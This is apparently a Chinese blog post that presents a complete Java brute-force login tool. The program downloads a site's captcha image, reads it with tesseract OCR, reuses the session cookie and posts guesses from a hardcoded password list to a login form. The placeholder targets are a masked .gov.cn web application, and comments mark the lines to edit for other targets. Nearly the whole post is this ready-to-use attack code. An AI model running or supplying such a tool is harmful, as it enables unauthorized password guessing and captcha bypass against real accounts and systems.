JAVA版暴力破解含验证码

带有验证码暴力破解、原理很简单，调用开源TESTOCR识别验证码

 

package www;

import java.io.BufferedReader;

import java.io.File;

import java.io.FileOutputStream;

import java.io.FileReader;

import java.io.IOException;

import java.io.InputStream;

import java.io.OutputStreamWriter;

import java.net.HttpURLConnection;

import java.net.URL;

import java.net.URLConnection;

public class Buster_Login {

 public static void main(String[] args) throws IOException {

  String login_url = "http://www.xxxxx.gov.cn/webapp/zhihui/new_login.jsp";//修改处

  String captcha_url = "http://www.xxxxx.gov.cn/webapp/zhihui/image.jsp";//修改

  String username = "piaox";//修改

 

  String[] password ={"admin","password","test123","admin888","1qaz2wsx","wuyanni","fuck001","piaox","4331018","manage"}; //修改

  for(int i=0;i<password.length;i++){

  String result = Captcha(captcha_url);

  String code = result.substring(0, result.indexOf("|"));

  String cookie = result.substring(result.indexOf("|") + 1);

  DoPost(login_url, username, password[i], code, cookie);

  }

 }

 /*

  * 1、根据验证码url获取验证码，并保存在本地； 2、调用TestOcr识别图片，并转换成string； 3、保存访问图片，同时记录cookie；

  * 4、返回给调用Captcha结果；

  */

 public static String Captcha(String captcha_url) throws IOException {

  String code = "";

  URL url = new URL(captcha_url);

  URLConnection uc = url.openConnection();

  uc.setRequestProperty("User-Agent",

    "Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0");

  InputStream is = uc.getInputStream();

  String cookie = uc.getHeaderField("Set-Cookie");

  if (cookie.indexOf(";") != -1) {

   cookie = cookie.substring(0, cookie.indexOf(";"));

  }

  File file = new File("d:/test.png");

  if (!file.exists()) {

   file.createNewFile();

  }

  FileOutputStream fos = new FileOutputStream("d:/test.png");

  byte[] buff = new byte[1024];

  int length;

  while ((length = is.read(buff)) != -1) {

   fos.write(buff, 0, length);

  }

  fos.close();

  is.close();

  try {

   Process p = Runtime.getRuntime().exec(

     "tesseract.exe d:/test.png d:/test -l eng");

   p.waitFor();// waitfor()防止命令行执行未执行完就处理

   BufferedReader br = new BufferedReader(

     new FileReader("d:/test.txt"));

   String s;

   while ((s = br.readLine()) != null) {

    code += s;

   }

   br.close();

  } catch (InterruptedException e) {

   e.printStackTrace();

  }

  

  String result = code + "|" + cookie; 

  return result;

 }

 public static void DoPost(String login_url, String username,

   String password, String code, String cookie) throws IOException {

  URL url = new URL(login_url);

  HttpURLConnection hc = (HttpURLConnection) url.openConnection();// openConnection

  hc.setRequestMethod("POST");

  hc.setDoOutput(true);

  hc.setDoInput(true);

  hc.setRequestProperty("User-Agent",

    "Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0");

  hc.setRequestProperty("Cookie", cookie);

  OutputStreamWriter ops = new OutputStreamWriter(hc.getOutputStream(),

    "utf-8");

  ops.write("email=" + username + "&password=" + password + "&captcha="+ code);// post-body需要根据实际情况调整

  //ops.write("username="+username+"&userpass="+password+"&tvery="+code);  

  ops.flush();

  ops.close();

  InputStream is = hc.getInputStream();

  System.out.println("email=" + username + "&password=" + password

    + "&captcha=" + code + " { " + hc.getHeaderField(0) + "/"

    + is.available()+"}");

  hc.disconnect();

 }

}